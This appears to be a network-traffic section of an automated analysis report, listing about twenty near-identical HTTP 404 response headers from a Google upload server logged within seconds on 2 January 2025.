Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5p3vHCDkY4KGJIH6DWJFuxQCr28jN5Daj4JzpZSmDVniDwvx-2-je8YqFnK04IdP88Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:11:34 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-2YKtUKc4IPXrxVmOPjGcGA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5RbaslPZ2O4rC4jQJgkbX7loKZiss6sZqfbYhiu1f2RFvL8DSbfYBeA2GxoLIWE-H7VXaoS1wContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:11:35 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-_BdHPduAS0vjpm-EqB2TWQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5mRE9RQPPrlLMxo5nvUWuqRWxLzZoMOXnfb4Z13z7uljNVJqgA1Ha_TBjCng7Llj1S-Hdlx48Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:11:37 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-_iHnb6PkphMCkGlk0m46ew' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5k_ZwJSXlcAPjJvwe3cSoL7RVUZb_g4uPwJOr_K0K3MURjo5roNKMAakyUN-zIKcNHzdf2o90Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:11:37 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-XeGg-2wX0vMlnAQN365dZQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC50IU5iEQ-1AD4uycobztG9OZhWLC6jgPwtEAjs3Y9dizEjLbXr3qQEnxvrU9vPYtl9Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:11:38 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-IBjreEzbnN2tF3j5TyExNg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7BZ8Si0g8Ok4u6gd-iajGhwjasWARErhzlzuwWSQRuF0X3rGzIpHJGLtVJyQgGk9BoContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:11:39 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'report-sample' 'nonce-_iKQS56JRTWzC69LwIO4uw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5m0EJ4tPTAAFTp2-ArnY7WIPLVj8CyHuAxCrbUS6LZR-whEEeMRA7cJt1b8DbSJtpXContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:11:40 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'report-sample' 'nonce-kIh8R33P46847LTD8aWmrw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4jyMzgYqKsfghQ6pbhDP-E8Vg6JNpFfgv4_1If8ReixsMDAGOHxEILo8UpliK6XBD_Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:11:41 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-3HfEdx3WAIraXs_mGsYQ5g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7wfZie2lm9a9D1ePmS2cAAJOo6kQlhPaG-x2m1shKKalP1eHB53G2tuouJkM4NNqaaContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:11:42 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-eCLaeHYyV765YMxMDQnalw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4bcE9pnlaAFew2EtllB3wJHzXptciHPxXsAe6jepLV1fWppKYdYQdxmUKTddBSEefrContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:11:42 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-Q1iS0Bivgm6GwDUZ4ZCSSg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7WC8XhCFMonfo1quV-fEq2FNpU7cHo7QYv_IwxYW9P03WVSoj72ZhdyvdytTSmt2PDHOWlQ0wContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:11:43 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-NmX2lNRkr5KjLUN5BZs2Kg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7UgIyOhyQASsttcpso7e-dTiXo2pAGFqphRXJrlwLQxITpMPmzygLSvvuZV4Ht4nU9Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:11:45 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-mPgd2-VSRiw22n626SynMw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7Jc0xvI8Pj7Ogt6O_QeiD_QXMU_OMbsKWawSjM_qgKa6uvjxjZHvfC7_2H2F-T7RQ3Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:11:45 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-QFRv5BVZyMix9dYkBPOuew' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6-ChCSrzFzo74S3axzIcDZG8poiIyUrImBVAkB5_-mx1cShtuh6QehX9j52caKvcdHContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:11:46 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-bcet6Ab2MRMlWgoaWxI8rw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC43DoISwxVDtp4RlPvU2Y-ZPllqVg4xTxELnm0v5rrcWbjX3MF86ctWfjnKf2pRkOvuw5NgqcsContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:11:47 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-iGJ0UECDaKETyjFR4b5jdw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4NRj6tkO-BJOe91E57DyIr5XZ1w4wH10Fy-WXgkt_ZoWrMJNFUWNslxKpO7XdEBqGYContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:11:49 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-7uUPvRm9TKwgjqWIFLxqmA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7KTTmLBlhdwRqUmKbbaqjBDCNdY8apnE4Vdafev-eKg9DjVeSySBxSs8t-0gVhEH6Yk6y3bPgContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:11:49 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-zPMJB2TuUnVg4oxEfhVTbQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4CpO_U1XsEtrt67m2zPkSgt2RdJzmrMyH6fLchUz558j2WTrEosYzl3hGwNECK1mL-C8gSxrMContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:11:50 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-exeAOcUs6tTagJjK0W60hA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7yjvi1QmwkR7x8jCgC6NbeQDxnX9Jwez8A46bpTDgl_3muI9fbWph6uGxSNwzmxBJ-m5iddwQContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:11:51 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-K6UT_qjD5UOC0HkIetQUAw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4LWeRUMEkA7OrsNj39a5KCUoXLUQy_siAEozitEDSfy1TSd82dx12EEM80Jb2RBTfypCdhIuoContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:11:52 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-ZDafxLdjPIGBbXYKuhHo_w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
